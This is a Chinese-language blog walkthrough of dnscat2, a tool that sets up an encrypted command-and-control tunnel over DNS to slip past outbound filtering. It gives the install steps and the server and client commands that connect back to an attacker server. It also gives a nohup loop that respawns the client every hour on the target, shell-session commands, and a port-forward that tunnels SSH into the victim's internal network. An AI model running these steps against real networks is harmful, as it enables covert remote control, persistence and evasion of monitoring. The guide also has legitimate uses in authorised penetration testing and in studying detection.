dnscat2初步使用

dnscat2

内网出口一般对出站流量做了严格限制,但是通常不会限制 DNS 请求,也就是 UDP 53 请求。dnscat2 就是一款利用 DNS 协议创建加密 C2 隧道来控制服务器的工具,所以说这种隧道几乎在每个网络中都可以使用。dnscat2有客户端和服务端两部分组成。

使用过程中需要一个攻击者域名“loca1host.com”。将该域名指向攻击VPS。

安装

服务器端:

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
apt-get install gcc make
gem install bundler
bundle install
可以使用ruby ./dnscat2.rb进行测试是否安装成功。
最后一步可能会提醒你root权限无法安装的警告,实际情况中,kali上的是放着不管过一会就会安装成功。另一台centos上的创建了另一个用户进行安装,但是还是出现了很多问题,按照警告提示一步步完成就OK了。

客户端:

git clone https://github.com/iagox86/dnscat2.git /opt/dnscat2/client
cd /opt/dnscat2/client/
make
之后当前文件夹下就会出现一个dnscat可执行文件。(若是要在windows环境下,需要将client/win32/dnscat2.vcproj 加载到 Visual Studio 并点击 “build” )

使用

建立链接这个过程在dns隧道工具这篇文章中有详细介绍,并且在dnscat中也有官方介绍。但是自己在实际搭建过程中还是和文章中的不一样的。

服务器端:

ruby ./dnscat2.rb loca1host.com —secret 123456

img

客户端:

 ./dnscat --dns server=xxx.xxx.xxx.xxx --secret=123456

img

在目标机器中启动 dnscat,从而创建的C2 通道。有时 dnscat2 进程会莫名其妙挂掉。这可能来自大型文件传输或者只是程序崩了。并不是很稳定。使用快速 bash 脚本启动dnscat payload:

nohup /bin/bash -c “while true; do /opt/dnscat2/client/dnscat --dns server=xxx.xxx.xxx.xxx --secret=123456 -max-retransmits 5; sleep 3600; done” > /dev/null 2>&1 &

这将确保它将每小时生成一个新的实例。 如果要在 Windows 上跑这个 payload,你可以编译使用 dnscat2 payload......或者,在 PowerShell 中执行此操作。Luke Baggett 写了一个关于 dnscat 客户端的 PowerShell 版本->点此查看

建立链接

在 payload 执行并连接回攻击服务器之后,我们应该看到类似于下面的一个新的ENCRYPTED AND VERIFIED消息。通过输入 “window”,dnscat2 将显示所有会话。

img

可以选择命令会话进行交互,之后启动shell会话,回到主会话后进行选择shell会话执行命令。

window -i 1(选择会话)
shell(启动shell会话)
Ctrl-z(回到主会话)
window -i 2(进行shell会话)

进入命令会话建立shell链接

img

Ctrl-z回到主会话发现存在shell会话,进行选择进入shell会话。

img

可以执行相关命令:

img

在主会话下可以执行的命令:

img

在命令会话中可以执行一下命令:

img

使用shell可以获取一个cmdshell,但是实际权限并不是很大。exec命令所能执行的命令也不是很多。上传文件据说也不是很理想。当然,它的主要功能还是建立隧道,进行隐藏流量,避免被发现。

dnscat2隧道

启动隧道需要进入命令会话执行listen命令

listen [lhost:]lport rhost:rport

本地主机默认,本地端口和远程主机/端口是必需的。dnscat2服务器将侦听lport。收到该端口的所有连接都通过dnscat2客户端转发到所选的远程主机/端口。

img

建立连接之后可以回退到终端窗口,通过本地的 监听 端口使用 SSH 连接到 localhost,然后成功连接到受害者网络上的内部系统并进行身份验证。实际使用过程中速度不是很理想。

img

通过相关资料显示,该工具实现主要是通过许多长子域创建了大量不同DNS请求,但因为自身域名可能配置不是很规范的原因,自己抓包并未发现大量长域名,但确实存在dns请求使用不同类型的记录来传递消息。

当然除了dns协议,还可以有别的协议可以利用,例如,Nishang 有一个基于 PowerShell 的 ICMP Shell,使用 https://github.com/inquisb/icmpsh 作为 C2 服务器。还有其他 ICMP shell。

参考链接

https://github.com/iagox86/dnscat2
https://blog.csdn.net/localhost01/article/details/86591685

posted @ 2020-06-30 23:52  Yg~  阅读(709)  评论(0编辑  收藏  举报